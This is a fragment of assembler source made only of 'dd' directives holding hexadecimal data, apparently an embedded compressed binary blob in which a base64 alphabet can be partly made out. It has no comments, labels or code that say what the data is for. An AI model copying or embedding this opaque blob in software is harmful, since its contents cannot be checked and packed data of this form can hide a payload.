0E83B960Ch, 2A582B80h, 9C43D003h, 0DE252404h dd 0BDC11362h, 0AAFC8498h, 1C35F212h, 825002F9h, 3E52E0D9h dd 3FDFB0E0h, 0DB6EEB00h, 8AFF9B8Eh, 0D2A90266h, 0B0179E26h dd 0DD90C1E3h, 527F89BCh, 906D2800h, 0C30B859Bh, 989900ACh dd 4ECA4320h, 0C40027DDh, 0F03A2CF3h, 0F730Ah, 290DDA26h dd 0CE904349h, 53B80600h, 131CEA52h, 140E008Ah, 619DB3CAh dd 0A93D9428h, 6BE4002Ah, 9040EDD2h, 0F4FA0381h, 720A9E9Ch dd 2143801h, 0BCC54BB5h, 0B871F8h, 250E978Ah, 0F0340F4h dd 0B67850Fh, 7606A055h, 0FE81216h, 3F957AA7h, 741B0520h dd 1C002029h, 16B93862h, 3C278B40h, 0DF8FB015h, 5B40C477h dd 0B932D1B8h, 3D52073Fh, 34450030h, 0AF3F272Bh, 43906Ah dd 511008EEh, 88154B90h, 42003EB8h, 0E40C2344h, 1E793A14h dd 73918Ah, 85080A5Ch, 0B11E0490h, 210074FCh, 2CEC64F8h dd 60422CE0h, 56520027h, 97915014h, 0CF19507h, 8762FC78h dd 8225C008h, 0B8400073h, 8C5D54BCh, 8D0024D7h, 158B64A8h dd 8043F3h, 0CB4EC93Dh, 1C303312h, 9810BA00h, 708D404Bh dd 734F00D4h, 76B30BC4h, 743F8744h, 0EC7A8045h, 5798F20Dh dd 258C006Fh, 302F206Eh, 42E4F178h, 1C0E397Eh, 0E7760410h dd 0A8340E1h, 2B110082h, 5025D453h, 8B0BB273h, 33E9ABAh dd 0F860A7EEh, 0E1A5D84Eh, 1318960h, 0F71EE3DBh, 408A07D0h dd 97C1FF8Fh, 0D80E1879h, 0D108B3h, 350573E0h, 71060B41h dd 70809DDBh, 0ACE6E2F3h, 85C33803h, 0B9038B61h, 53F8F420h dd 1F30E618h, 3085DF2h, 98DB0CE6h, 0F410E099h, 8D122E7Ch dd 0E0E3353h, 0E7D140B0h, 0D74DFDh, 0AEF8DC3Dh, 0F2015AC3h dd 76F68500h, 3C647163h, 0CAE029h, 0EEE0E9C1h, 35FF983h dd 1F7E800h, 0E78166FAh, 0BA0F00FFh, 2CE5C26h, 0C7003BF8h dd 9DD02177h, 10CDF5h, 4E14069Fh, 0E09373FAh, 0B507247Eh dd 47E88801h, 0C5BF023Bh, 0EB3FC07Eh, 212C011Ch, 1F0F5372h dd 0CC10E4C6h, 4E0002E0h, 0B8B9D75h, 0E498C985h, 0FF7A3E35h dd 3BCAFB80h, 4F5FE15Ah, 0E54EB014h, 2BA9008Ch, 4C770CBAh dd 0DAB8177Dh, 0C2690145h, 30080110h, 0CE1F71A7h, 3ABE5920h dd 16378099h dd 0B1438D27h, 0E06E00C3h, 0E9775A35h, 0CC03CA55h, 0C085C950h dd 0C73CA876h, 0D6810033h, 0F30C5D70h, 100E540h, 0DC92772h dd 71C2F002h, 0D68B3E13h, 0CF507480h, 0F8D103D2h, 87057539h dd 0CEB3201h, 0B4A6B080h, 0A02F0054h, 91757948h, 11FE42A5h dd 0B657700h, 75676B5h, 5478ABh, 9D7B22BBh, 0BFAE3CECh dd 0B10C7000h, 9A2DC2B4h, 0A049481Ch, 0CE34A11Dh, 52E0880Ah dd 0FED0845Fh, 77F23200h, 0C8F94CAh, 0FAD1004Bh, 8A7F2089h dd 11005653h, 0B8E1CB27h, 0ADA17h, 76F4F0Fh, 0E3C8FDF2h dd 8A225500h, 0BDEAF8FCh, 759F008Bh, 5334AA87h, 0C7027C8Dh dd 0CA1E88A3h, 840740C3h, 28A00D5h, 274307ECh, 0DE004647h dd 7570B033h, 28E6E8h, 2A09BC80h, 4B26048Bh, 16C78A00h dd 0F13E0649h, 0F40000Dh, 0C8E65B81h, 7D3B0C34h, 37311824h dd 5711DCh, 40478014h, 0D97B754Bh, 28EFF100h, 50390563h dd 4E8E8B9h, 0CF498F20h, 0F8E280ECh, 0B100B054h, 2E0BAFFh dd 39735C8h, 496071A7h, 0D9B013FCh, 2900ADC2h, 4B89A09Dh dd 7CDB85h, 5843762Dh, 0A5799FD7h, 41023000h, 0FF5EE180h dd 0D9953C01h, 0E9181480h, 0C70A57E2h, 88A11C00h, 0F21F75Dh dd 408C0059h, 183C8D12h, 307F2AC3h, 2ED61F00h, 2410A9EBh dd 75217EABh, 0E3800002h, 0FC3245F3h, 75011A6Ah, 0FE4134F0h dd 0D670DFB6h, 0E52C0749h, 0E07D3173h, 0B9FF3E62h, 4D9FD400h dd 5F9589ECh, 9334001Ch, 9BDD88B0h, 1A1D0C71h, 0A89DE410h dd 6EB78680h, 0C776B4h, 0DE3D34Ah, 0D6E8FD4Fh, 7E400401h dd 4730BE21h, 0E0446130h, 13FF7D18h, 1A2CBFh, 0AF4ED6FAh dd 0F2B89F23h, 59760E9h, 5FE4FE00h, 82783EBAh, 5816037Bh dd 9297831Dh, 755BC998h, 33ADFC00h, 8D487C06h, 89231FBBh dd 0A7084157h, 61042035h, 904EF815h, 54A2FE03h, 8041C59Ch dd 7444342h, 48474645h, 4B4A0049h, 4E004D4Ch, 0A51504Fh dd 38545352h, 5801C655h, 62615A59h, 6564C063h, 68676603h dd 806B6A69h, 76E6D6Ch, 7271706Fh, 75740073h, 780E7776h dd 307A79h, 34333231h, 37361C35h, 2B390038h, 24203D2Fh dd 9D284Ch, 7D7B5D5Bh, 703A3B2Ch, 5C5F002Dh, 927222Ah dd 91000D0Ah, 0AAE4C4E0h, 7388E867h, 0DA950F04h, 0C55E24FFh dd 0C084EA21h, 0EC8B2706h, 1490B926h, 3620CB03h, 70D5A801h dd 15E60FFCh, 0C62080B5h, 5C49E960h, 9E099B00h, 9C732D85h dd 947A00FCh, 114A641Bh, 96FC6B5Bh, 8CEC9F00h, 0DB2D16DCh dd 0C39707C0h, 914B5421h, 0FC66C204h, 190759E4h, 941FEBECh dd 956BC70h, 4052008Ah, 0D4CF5C7Ch, 33001571h, 0FF273929h dd 3C4BA3F4h, 790010FDh, 83481F05h, 400093C8h, 0A5CEB6F0h dd 823252h, 0D98CD5F4h, 0C6660347h, 11F01600h, 5521429Fh dd 4ABF0051h, 6C7EE292h, 0BB0076E1h, 0EB071569h, 41B929h dd 0DC30630Ah, 0AB83E806h, 5600807Eh, 0E7C1157Ch, 0F869CFh dd 8BFD097Dh, 7E58562h, 8F82B80Eh, 464BC10Bh, 3D60ED05h dd 76EA00F0h, 2BBCE14h, 0C7143032h, 0CAF468h, 0EFC11A13h dd 1C6FF24h, 336AD94h, 41FA6E7Eh, 2B13ED8Ch, 6AA1B0h, 0A6C246Dh dd 7BEF947Fh, 15684A00h, 648CD44h, 387A4Bh, 519E418Bh dd 2F02BAF3h, 921ACF07h, 0E83084E9h, 7BDD206h, 0A7EC4FF9h dd 2ADF90C2h, 2004589h, 169F4999h, 0ECD9C65Ah, 6B7623h dd 2F42C288h, 0F0CA36FFh, 0BA70E100h, 0F969CB33h, 0AD5C00D4h dd 6068A240h, 627F6FD8h, 3BB50303h, 0A86D5AA4h, 1FE361Dh dd 5315C83Fh, 0D4952D01h, 0D8023B81h, 0C029B27Ch, 6EE0E01Bh dd 592EC49h, 50B1C594h, 2132839Fh, 0B2525207h, 62B071C4h dd 790B0A0Dh, 1EB473FFh, 15D80CAh, 0B186A9C6h, 0A33EF44Fh dd 50495307h, 16B5B95Bh, 32A0C1C7h, 0FC982A64h, 0F8281C13h dd 5EB9C023h, 52250194h, 4690200h, 484EB36Fh, 0A25F0010h dd 0BF446CF0h, 25001609h, 9DC24FAEh, 3081B8h, 9208E2C1h dd 0E90071Dh, 47D10B00h, 75484B0Dh, 782E74EEh, 0FAB70066h dd 498A01D3h, 0C0F8840h, 206A4306h, 0E183CAC1h, 6CD5003Fh dd 184C2596h, 0EAFA270Eh, 6031E70Fh, 0D6D4006Bh, 79FC6ACh dd 68B1527Fh, 900A97C9h, 750BCB7Eh, 6B80D100h, 902D37D8h dd 0B85000E6h, 477CE29Fh, 3F72A4A3h, 4058AB00h, 252785A1h dd 9F000C6h, 5F1CF405h, 8F000F15h, 334E99A4h, 0EC859A23h dd 0F36A0058h, 0CAA15AA9h, 761E05F1h, 308A2B8Dh, 7C01BB3Ah dd 0E0EFE378h, 0A2D0D6F5h, 0A4EC64h, 0F692FF30h, 75023A07h dd 0E2C64600h, 94D701EFh, 0F83E0F17h, 7CC08483h, 0B6D44733h dd 0BCA8E07h, 5E90148Dh, 139629h, 0C9241C1Eh, 0FE0274B1h dd 1ADC0900h, 0D280B8FFh, 3B5E079h, 754F4304h, 7DD830D3h dd 10017414h, 0C45B1FFh, 0C03E3B08h, 0A689057Ah, 2EDDF400h dd 44D12D1h, 341D0F65h, 4700F78Ah, 0FD44F8A1h, 0A200D9E4h dd 6590899Dh, 582E38h, 0F02D704Fh, 10E9A151h, 0A2271801h dd 74532F85h, 0BCD1D8h, 0B9546A1Dh, 4C9CD4F3h, 90CB8B1Dh dd 4717CDC0h, 1E8AEB5h, 0F6B02BCFh, 20E6D655h, 0F0122C84h dd 9CECC3FAh, 0D465007Eh, 0C1E4ED15h, 0F7000316h, 0CE2B94BFh dd 756247h, 12EC04B9h, 0A7C82728h, 1114D3Ch, 2EDE2CD3h dd 0C0D7A242h, 1EAED4A3h, 8FCAA4E4h, 5A3DD69h, 0DCB87610h dd 0D0018BD7h, 89DF6F62h, 9220A270h, 107891h, 13A9D812h dd 2C78F0CBh, 80060B00h, 60E25C3Bh, 4BFEFEh, 0B57EB0DEh dd 0E5BD2AECh, 154F1B00h, 194558F4h, 927777h, 7FB7DD56h dd 5E5F630Bh, 0F4716001h, 91A5C438h, 875F0h, 0F24A5A33h dd 44022717h, 41A4EF00h, 69E95748h, 5FEC6Fh, 37814531h dd 9453885Bh, 57018D7Ah, 0E8719D0Dh, 46C847BFh, 17C800A0h dd 5FC34287h, 34029CDDh, 0F0C5FC91h, 2256C1AAh, 3812CCh dd 72F77DA4h, 19681384h, 0C174C600h, 505FC752h, 0A69F00BDh dd 9D0F7386h, 2C000279h, 34EC9632h, 64AF37h, 39C495C6h dd 56B29EB3h, 0C585F71Fh, 4DB86345h, 0C3EC58C0h, 0D31D003Fh dd 0A632E606h, 0A094B17h, 0CDE7B1h, 3A25A58Eh, 0E6AAEC29h dd 93FA0044h, 0D01B9266h, 5E01BB65h, 14B45026h, 2AD419F2h dd 0C79F0987h, 0E60089A9h, 0AF560574h, 316F839h, 9CB466ACh dd 0D88CC364h, 758BDDh, 4B937C2Fh, 6A24A058h, 7A820300h dd 5AC773A4h, 0BA727Eh, 27841D5h, 0C327116Ch, 4B8E5901h dd 0A6B01E5Fh, 40D2ECh, 7517496Fh, 227C3966h, 0A39F4507h dd 86202F71h, 0D94161h, 7BDB2529h, 676F881h, 35A85500h dd 75AE2638h, 0CB450093h, 1834EA74h, 232E04DFh, 0AC034A08h dd 0E88237EBh, 641AE2h, 0A6432101h, 9854B34Ah, 0FC93B909h dd 48815F69h, 0D4022D6Ah, 7D004DBEh, 0C59B05A4h, 0B062A7h dd 42BFC963h, 1C8F36A8h, 0FF96D100h, 0C4B8BC6Ah, 124F1D5Bh dd 9C5C044h, 2C464772h, 40703802h, 7D94C0AAh, 0E8C0230Fh dd 0FC9591DBh, 45F60A7Dh, 8D268F00h, 7AF2357Bh, 1AD2052Fh dd 0C0F007D3h, 0C2552B85h, 0F4D07800h, 1B3BC13h, 100B002Eh dd 0E881A64Ah, 910F2924h, 60F164A5h, 9F0D9669h, 95840046h dd 866A4BF6h, 0E8075414h, 302B75FCh, 0F0CBE693h, 0E329BAh dd 0AC2C164Ch, 0F55CF4E4h, 48FC2D01h, 5A59A165h, 70A580F4h dd 0A62107E2h, 436C14C4h, 35A94485h, 5F51E0DCh, 92F46000h dd 0C9311EFCh dd 0CA090549h, 80405553h, 0C807302Dh, 94E98800h, 0B6F2E06Ch dd 667C08h, 0D806EBD1h, 35F00973h, 83203E1Ch, 0B8F38100h dd 0CEFEEDh, 31EB1C75h, 4FDA8EC1h, 5BD5E100h, 0EF6CD2F7h dd 0A5D0003Eh, 0AFA955C0h, 61004384h, 97C447D4h, 0E8510E2h dd 28BFEDA0h, 0EC41DA0Fh, 0F0A8E0D6h, 0BBFC59ADh, 80F3A53Eh dd 46712D63h, 7B849743h, 0FC1807B2h, 518A1403h, 0C09DDF92h dd 9EB0D368h, 0F8043Dh, 5DD0D45Fh, 3CC60150h, 8980B0A2h dd 85FC29B7h, 4DEE17A9h, 7B2CDC00h, 5A241051h, 0E8010021h dd 0B1ECDD4Fh, 93057102h, 52DF2347h, 0F31617C0h, 4FAC0028h dd 77E50FCCh, 3E002941h, 0C8099412h, 1B1697h, 0F9A8072Dh dd 7CD15A58h, 0F0564500h, 0BA51F6E6h, 5B380160h, 0CE077948h dd 0B146CCEBh, 10FE8300h, 0C1ECF1EDh, 0DC95005Eh, 96D37224h dd 0A800ABE2h, 67BD1E75h, 0E8D1ED2Bh, 8CB000E6h, 70834FF8h dd 7C0058FFh, 3C709EFh, 9160C0h, 0A8A0048Ah, 3B94980Bh dd 61114A00h, 51010244h, 0E3C10012h, 88C33683h, 71174606h dd 2800295Fh, 34B264ABh, 0A58B1DAEh, 0E45200D2h, 92B2CB1h dd 5CC45905h, 0C8016278h, 565B5A02h, 7F89760h, 8BFC12AAh dd 40C2B7F3h, 789E7908h, 0B1A96000h, 985E58Eh, 0FE500134h dd 4D8B42ACh, 0FD94DCDAh, 51E8AFF8h, 7400197Bh, 49CF5C1Fh dd 1D952044h, 8D1118h, 0CEEA2FA3h, 0AB984556h, 58B02100h dd 209EA967h, 2AF3007Eh, 2C29BC6Dh, 0D8E89F57h, 0CA529C00h dd 42A4968Fh, 0D575FFh, 0ABE8C3C1h, 290C3292h, 0AF880807h dd 0ACE0DB7Ah, 1CC21FCAh, 0C0E69443h, 1C77CEEDh, 61E2BA6h dd 814097AAh, 0E38D5426h, 5E280070h, 0DCBC2C4Fh, 0F277C28Bh dd 0B689E200h, 912F1CAAh, 834000E4h, 64751EF8h, 0DE019A5Dh dd 0E83120BBh, 646049A3h, 0B7241E79h, 0A2A500A9h, 4659DE5Ch dd 62B52900h, 2EA68A3Dh, 891A0010h, 0AE1F783Bh, 0EF1E200Dh dd 0A2405096h, 8B100E75h, 0A98D00FEh, 7ADF1DEh, 6600A5F3h dd 2D5B1E29h, 51AABDh, 0CBCC734Ch, 0C9705CB8h, 0BD4E000h dd 3F77FC45h, 29C400F5h, 7C27785Eh, 4C0081A9h, 0B22B1ED9h dd 3B8352C0h, 0BD0088DAh, 0B3ABFE59h, 0B900D40Ah, 33B4A913h dd 1420AAh, 5F90C3C9h, 0AF81EA92h, 5108B900h, 0E97C805Eh dd 126E001Fh, 7B74A9DDh, 500EB3Bh, 570F01B5h, 0C282Ch dd 92049EC8h, 0CCE40DC9h, 0EE063Ch, 10D008D4h, 0F831FCh dd 1DD87D89h, 59226421h, 0AC1F34F8h, 0F60080E0h, 528AACBh dd 0BCD400C8h, 0B3E81662h, 0BE002B24h, 0D01EBA19h, 7E33D802h dd 2C050049h, 0EB63D759h, 32002126h, 0F21E6FCCh, 2C1CC851h dd 8E0BF7h, 2331716Ah, 600159Bh, 0E14CBA84h, 0D2CBFAh dd 0CE2824Bh, 779808DAh, 9A0B2700h, 3B42D6D3h, 9FB0ACh dd 6759C2C8h, 5CD42630h, 9600DEFAh, 1B88CCE8h, 0DC7EADh dd 50E94151h, 0FBFE7DBh, 0BCDE6300h, 440C70B1h, 94EF0361h dd 0A82414E3h, 2010709Fh, 0AC0040B0h, 39B481B8h, 0F85BC5h dd 0B6BE24FCh, 0DC224972h, 20581D73h, 0A4AD004Eh, 19FA1E82h dd 0E00200B8h, 0B449DC3Bh, 0D2732D16h, 36C5Ch, 71CF4691h dd 28AC29h, 2EB6704Fh, 0BE18A867h, 9AC3B216h, 6900911Fh dd 22291646h, 24AD0164h, 0D81B996Fh, 0B6E0DE51h, 505BAA8h dd 64F9E3ECh, 0F195A50Ah, 54189107h, 8F200DBh, 1FD84293h dd 814EB914h, 89D2D0B2h, 0CC1C9E64h, 988603FDh, 0C80A91D9h dd 53AE5Bh, 175874DBh, 0EF0B4A4Eh, 0FF9CF018h, 0EC7552h dd 185F8068h, 0F4E363C1h, 0E02BA00h, 1E4E1077h, 0E48C01AFh dd 18A7F660h, 2030D914h, 0E1752A88h, 4C7C7175h, 0FA80DC01h dd 820643BAh, 8C68DCh, 0B33242Bh, 2CD247B9h, 42621900h dd 0C9DC21AEh, 0CED72673h, 0B2900085h, 430C967Bh, 7D3C2D7Dh dd 8010B977h, 22FFD392h, 0C08368h, 0F31FB078h, 0CEDBF603h dd 0BACF1B00h, 40AF3F13h, 87B600B2h, 0D7E7F40Bh, 4C0092DFh dd 11D46D0h, 0F87032h, 0F4F15DD5h, 0EC933C2h, 0A9CAD200h dd 29AF6A84h, 2A811238h, 0C3050102h, 0C9109E43h, 8722703Fh dd 0F5933Fh, 8F060F38h, 3BE30811h, 1680FA0Ah, 0B4F845B7h dd 3900EBC8h, 0BA9B6BE7h, 2ACB0Bh, 7CB091E6h, 5C0E479Ch dd 79535400h, 694C0901h, 31500062h, 736DC81Eh, 0F3030C5Ah dd 0FF2593CCh, 1D8BD856h, 0A953023Eh, 7D04BFD9h, 95746240h dd 75EFFB0Eh, 1A02610Ch, 81F59868h, 8BECF4h, 0EB124DD3h dd 0EECFF34Bh, 5F4A4800h, 0FC555280h, 25C13BB8h, 934BE880h dd 0D01603Ah, 9F761C00h, 45283EE9h, 0A9440006h, 2714914Fh dd 2500F823h, 0E5EA6BABh, 7421396h, 124756DBh, 6CD18053h dd 78001B76h, 9CB9A1C2h, 28D745h, 954E4F1Fh, 0AC841D68h dd 2299A200h, 0DFE68B71h, 903A7896h, 645C00D7h, 0D98F04ECh dd 51007509h, 0FCF01440h, 0ECEBB2E4h, 8C5B015Fh, 8464BDFh dd 63DECE6h, 4253B00h, 0DB19C1D0h, 0EC0200EBh, 78B9F6FFh dd 2D000DF7h, 2CC4F43Ah, 0B89DAAh, 3358DD7Bh, 20BEC529h dd 624CB207h, 145013E6h, 35BE82Dh, 8DB86104h, 80EDAD2Fh dd 6890DD1h, 4938F800h, 5328BAC6h, 0CB150A91h, 0AC318Bh dd 3FB833Fh, 0C006076h, 9BE848D2h, 24C518h, 9C098940h dd 0B01F0456h, 7E2B1425h, 9A8D00CDh, 0BA1A8626h, 0E6313800h dd 0F4C2CA93h, 82240394h, 29B2F972h, 0AF051B0h, 26DB2200h dd 9317E83h, 0F22B3D74h, 0A54E7980h, 9B20B425h, 874F987Fh dd 1A2C4DBCh, 0A9C70040h, 91DC45C9h, 804D073Bh, 8A032D2h dd 7C701094h, 0E4A82C5Ch, 85E80085h, 38BFB2B0h, 5F8BA400h dd 14AFB7D6h, 98C800BAh, 85903B8Ah, 0FF002175h, 66FF9BCh dd 4C4E1E96h, 61008BDEh, 122BC667h, 0E8FBF687h, 9F3C1043h dd 0B2B78B55h, 0A08F006Fh, 29EAA5h, 0C4363240h, 212DB350h dd 0C671F39h, 0E2E165Ah, 22F86Ch, 0D23CD34Eh, 0B8F84883h dd 0A1B301Ch, 90167343h, 0B40CD8C5h, 0B2440013h, 573ED36Eh dd 0F00F6A5Ah, 2019BD4Ah, 43E0C8E8h, 12532E4Ch, 295C0097h dd 73D06630h, 2C03B3F0h, 2116D3A2h, 545B8D8h, 0FFDD00D2h dd 0C743759Ch, 0A90E1048h, 0AF490F26h, 5C6E05ADh, 0AC0C0680h dd 7C477574h, 9251EE4h, 37B30FB9h, 0C26308A7h, 8940A2D6h dd 0FAF2A4ACh, 2F3E2CFEh, 0BACF3976h, 0E08480A8h, 0B5165CB3h dd 63210069h, 0ECFC6579h, 9400478Dh, 542DF450h, 7F5ABAF0h dd 65B60026h, 0D04351BFh, 0C6000AB2h, 2B610B8Bh, 0E1B510h dd 559D8A6h, 0E6A8C4Ah, 0B7D49C00h, 0BCCDA06Bh, 7AC40E11h dd 9A6FA3B5h, 70F1DBC7h, 6EC2AA1Bh, 7D549D00h, 83DE9ECFh dd 4D7B00E2h, 5290E3C8h, 88042345h, 0EC44B581h, 394F73C0h dd 0E483902Ch, 0FEC400B0h, 53859586h, 0B3D199Dh, 8492D00Ch dd 0B85D3207h, 89C9B412h, 26AA00FAh, 82EFF4h, 51CE7D8Dh dd 0FDC39257h, 6642411Eh, 21F34C47h, 387EBC7Ch, 0BF00493Eh dd 19EBE8D2h, 0A800C3BEh, 0B48EA30Eh, 9E2FACh, 1DA6759Fh dd 42485536h, 62034BF8h, 0D89B545h, 44A9D06Dh, 0A5CE0191h dd 22D725BFh, 0B8AFC47h, 0AC644A00h, 0F819F669h, 0A829001Ah dd 0DF54E20h, 7BB8BA2Ch, 3F6051ECh, 0BE80D616h, 105E0BB9h dd 28808875h, 0CCAB85FBh, 0D6502607h, 0E71FE031h, 558044BEh dd 3E25D2F4h, 74047864h, 0C0A040FBh, 0F02E13D3h, 0D8482AE8h dd 48CD0076h, 9559B745h dd 0E2050078h, 0C1BAD5B8h, 5400F8DCh, 0E18ED34Ah, 2EC4694Bh dd 0C19062h, 88792B52h, 650078BFh, 80C1B0B7h, 107EBh, 3A740472h dd 7D956E67h, 755CE9F8h, 1451006Ch, 9EE325Dh, 0E590028Ah dd 4DD78970h, 0BE81D489h, 0D804B84Fh, 1E00FDA2h, 0A1383652h dd 20E6305h, 1D451723h, 0DA401929h, 92FE8048h, 0F104741Dh dd 0FDA5E7C0h, 7CDE4F4h, 0F00693FAh, 0B92F9061h, 0BB00793Fh dd 4A97892Bh, 1835B59h, 8E1CC778h, 700AFB45h, 0C90013BBh dd 4B7E0D0h, 2659FA5Fh, 0DE010Dh, 0E7557C8Ah, 0E8074284h dd 5319A76Bh, 0FF046FE0h, 57933E8Eh, 0C85A1A00h, 8FB083FEh dd 0A7E2F03h, 9880E10Fh, 0F94594h, 15086EEBh, 81C49610h dd 67D38600h, 0A528F895h, 0C5AD1F41h, 0FE830001h, 0FC457E02h dd 0B000998h, 3E7DF03Bh, 0FA4178h, 0B838147Fh, 48A08203h dd 0D4287528h, 2421F800h, 0B1541A22h, 102EC84h, 0AFFB672Dh dd 60DC68C2h, 0F4CF45Dh, 80553EADh, 0B9368BC5h, 3CD20873h dd 0B897304Ah, 0EE8800A7h, 0E4C16D7h, 616C4300h, 1C8E3373h dd 0C8460048h, 0ACA754D9h, 0F03E8B0Ah, 347D80CAh, 24B50CE2h dd 0B8A20F44h, 0B9C0233Eh, 847252A4h, 0F414D005h, 2EC003F9h dd 1326FE9h, 36FFC327h, 30E025E2h, 5C484A69h, 7CBC000Fh dd 0A72B20D1h, 99D4004Ch, 6BBAAAC4h, 0E4E5E749h, 0C6F40FB2h dd 0DDCAEF01h, 0CC563334h, 1845CE8h, 0DC60FC27h, 0F42D4628h dd 0BE4A2FFh, 88008398h, 3B633169h, 7FC99E21h, 0F9E5000Ah dd 4E47C14Bh, 0DB98DB75h, 0A95B1207h, 0CCD0CF69h, 0E8BAB113h dd 95030097h, 20F1407Bh, 2300DC4Fh, 12C0262Eh, 0E738EDD4h dd 36C85E8h, 0F575A8BBh, 0BE88A9B0h, 7276CF3Eh, 0D68A4200h dd 0C8F8910Eh, 8D8E00DAh, 7DD2DC70h, 0D77B86F2h, 4DCB30EBh dd 3E73E700h, 1B094892h, 0D67B16h, 0BEB5205Fh, 6F67699Dh dd 2F652500h, 7BBB7389h, 997200B6h, 622ED8ACh, 5C00F814h dd 2DDAC408h, 7FF5BD48h, 0AF250085h, 0A5134D98h, 4C0EC6B7h dd 0AEA4772Fh, 1174A03Dh, 0B239CBh, 0EB057D0Bh, 0FF35EFAAh dd 4831B800h, 84D4295Dh, 34FC0064h, 62B995EDh, 0A800CBF8h dd 0D88831FFh, 0E4870803h, 4498004Ah, 0F2750F45h, 0C40043A3h dd 528EBCF0h, 7FB58B5Fh, 4D85006Bh, 4EB8BD7Bh, 22606CBh dd 7500DB83h, 49975E77h, 50032429h, 94C60329h, 0CEFBECC3h dd 0FC7B0A00h, 0ED45AA09h, 64407A7h, 906A1863h, 86D89A3Bh dd 10AE7B00h, 2474DC2Fh, 1D1707D9h, 0FE201319h, 575AA00h dd 0AE000AC5h, 5EEEE674h, 3F105CB0h, 34818ACCh, 0BA169DF8h dd 0BC59C0BEh, 0E484261Eh, 5B008B1Dh, 438AC268h, 0F88807BDh dd 5728D152h, 42D480A4h, 1C002521h, 890F0C4Eh, 533F43h dd 8FB64B8Eh, 0BD91C52Eh, 0AD3AB200h, 0CEE9143Ch, 66D6001Ah dd 5161DA4Bh, 1FA109Dh, 0BEFC8A07h, 85308F58h, 79A8D9ECh dd 5F72014Eh, 3DE45570h, 79F0F430h, 3F538B01h, 0D0CFCC9Ch dd 0D37330h, 68F810D9h, 21BE42B8h, 0D611EC00h, 0F49061DFh dd 0ABF300E5h, 0FA649793h, 0AE7637F5h, 0D3742000h, 4E030688h dd 63C817ACh, 43030004h, 79FA013Eh, 575D9600h, 0CA974E39h dd 0E0C7007Ch, 9E14998Bh, 5E0080BEh, 0F1E95C9Ch, 79413F4h dd 16DF95E3h, 824485DAh, 20614BECh, 7C8DE00Dh, 1D4C2005h dd 78C749B8h, 6307C2F0h, 6240F8Bh, 0C5D404BAh, 0DABF3000h dd 8DFB0228h, 0C540EBA0h, 8A998100h, 0C2935E50h, 25EA3A6Ch dd 0D530B700h, 0CAC0237Ch, 25F74Ch, 0F64C9B90h, 0B00507h dd 0AFECE901h, 0D854DF4Dh, 0B72D8800h, 0EF3364AEh, 35D01A0h dd 9EEDF49Dh, 283C3043h, 48080400h, 200C112Ch, 10440114h dd 66D38318h, 0EF0AEC3Ah, 0EB851200h, 0F0335346h, 811E006Eh dd 2E3A4D09h, 2A007586h, 144642A4h, 12711821h, 0FC7AB5C7h dd 0AB770029h, 4163094Ch, 0B642039Ch, 747B7540h, 66B8DCF3h dd 0C300DF29h, 2CBED669h, 39B467E3h, 721B5348h, 44E81EA2h dd 8013BF7Bh, 0B700E99Fh, 45DD2609h, 600400F3h, 50520717h dd 0AE8E2ADh, 0E8813B1Fh, 0DA097540h, 5A9780h, 7B517358h dd 7D0CC5EBh, 257A4B00h, 0B5A81221h, 0B44A00D4h, 0B3F7949Dh dd 8F00BB98h, 51057724h, 49BAFFh, 88B04876h, 427A92A2h dd 0BF01EA07h, 7570E579h, 47C589h, 0F441A74Ch, 0DC867FDBh dd 0DB80600h, 0CFA4D27h, 0FE88002Bh, 0F0FBE82Dh, 0F33E9752h dd 0F4007FDEh, 13B2F628h, 306614A9h, 602AE89Dh, 32037273h dd 85FC15C8h, 610AC0F6h, 1E760314h, 0F421FA12h, 0E05816D1h dd 0C004277h, 0A771AE9Eh, 0B05259DCh, 0F24C00D5h, 8B518968h dd 7C00C53Ah, 45491926h, 1602546h, 4CBAC38Ch, 0DCB49535h dd 0F7F420F8h, 4301200h, 16344828h, 1F722Ch, 93FC4978h dd 9A2F58A0h, 0E50011Ch, 13C93840h, 3D907F10h, 0C03E53EDh dd 3B46F200h, 0C4972CEh, 1220E002h, 0E00161C3h, 72BE1B3h dd 53449FD0h, 86260E8h, 5AC07473h, 0FA9DD29h, 0D5800714h dd 0A0240BC9h, 4519127Bh, 5A588402h, 0E046A00Dh, 23F1FDh dd 76EB3B32h, 0C409FAEh, 101DC3ECh, 7CC0C62Bh, 7B80287Dh dd 75242789h, 0E400395Ch, 98BE742Ch, 0E2F5980Dh, 0C7493h dd 0C3401D16h, 0E00355A8h, 840F9E00h, 0CE3285BCh, 1404000Ch dd 18151048h, 0B975A775h, 7208F600h, 277C432Dh, 28393A29h dd 0BF1C4412h, 8A0EAA01h, 1EE4957Dh, 0CB42004Ah, 1CAEA9F6h dd 5E079849h, 8A215350h, 0D45BCFF0h, 0A02A3969h, 4A61804h dd 0B100EA42h, 0E790B0C3h, 0A51D0075h, 74349119h, 3B002B85h dd 47763196h, 0CB92Ch, 97AF2F1h, 0F31CC624h, 8806BB1Dh dd 7542AF00h, 0F9CEC937h, 83C6DAC3h, 7ABD32A2h, 339000B6h dd 681574C5h, 0C8480C2Bh, 76193C00h, 8B0FC0FBh, 1DA6CE00h dd 0AFB13B25h, 0C3EA004Ch, 0C0C8E985h, 0E8FDDA68h, 0CAC018CEh dd 0F0141BAEh, 810B00A6h, 0F73002B0h, 71009735h, 88930839h dd 2E03117h, 0EA1052Bh, 14409601h, 0E11EA4A8h, 4AA6C44Eh dd 75027600h, 24B82Fh, 0FA4CFD63h, 930447B5h, 27F22000h dd 21AF7819h, 1C080037h, 0E5365D8Ah, 0C4005523h, 2D839040h dd 6E9F18h, 8568A120h, 512C250Fh, 8CE2A803h, 0C01015C4h dd 1D08F9D7h, 0CFBFF4h, 0F7B0A16Eh, 75078268h, 972CB815h dd 9167AB30h, 96B438F3h, 3043D001h, 0F4C54C16h, 6400EC7Eh dd 0EF560441h, 7102C7Fh, 6032C824h, 68C0DE09h, 70916C48h dd 54770271h, 0BDB0901Fh, 22C81FBDh, 15E2E100h, 2CF0CC2h dd 4409F806h, 0D7C0086Ch, 313F744Ch, 32D08303h, 0EB3FC618h dd 64C4A030h, 0FA88E66Fh, 80330031h, 0FD98C81Fh, 0FCE5FA10h dd 0E8FAC1D9h, 1EF7620Fh, 22C780DCh, 6E342174h, 0B8010C6h dd 0A478B341h, 5000307Bh, 0C81EF9C7h, 1089264h, 0E4CCA02Fh dd 0E0D3ECC1h, 0CE20431h, 0DC109400h, 5FC86070h, 524F1F58h dd 7836C026h, 0EC6CBC95h, 4EEE4B0h, 80EF1B0h, 20118F0Ch dd 0A052431Ch, 0E06B25EDh, 64132BFEh, 54B07F01h, 0A02F8625h dd 0A12C252h, 35030FC3h, 85E36798h, 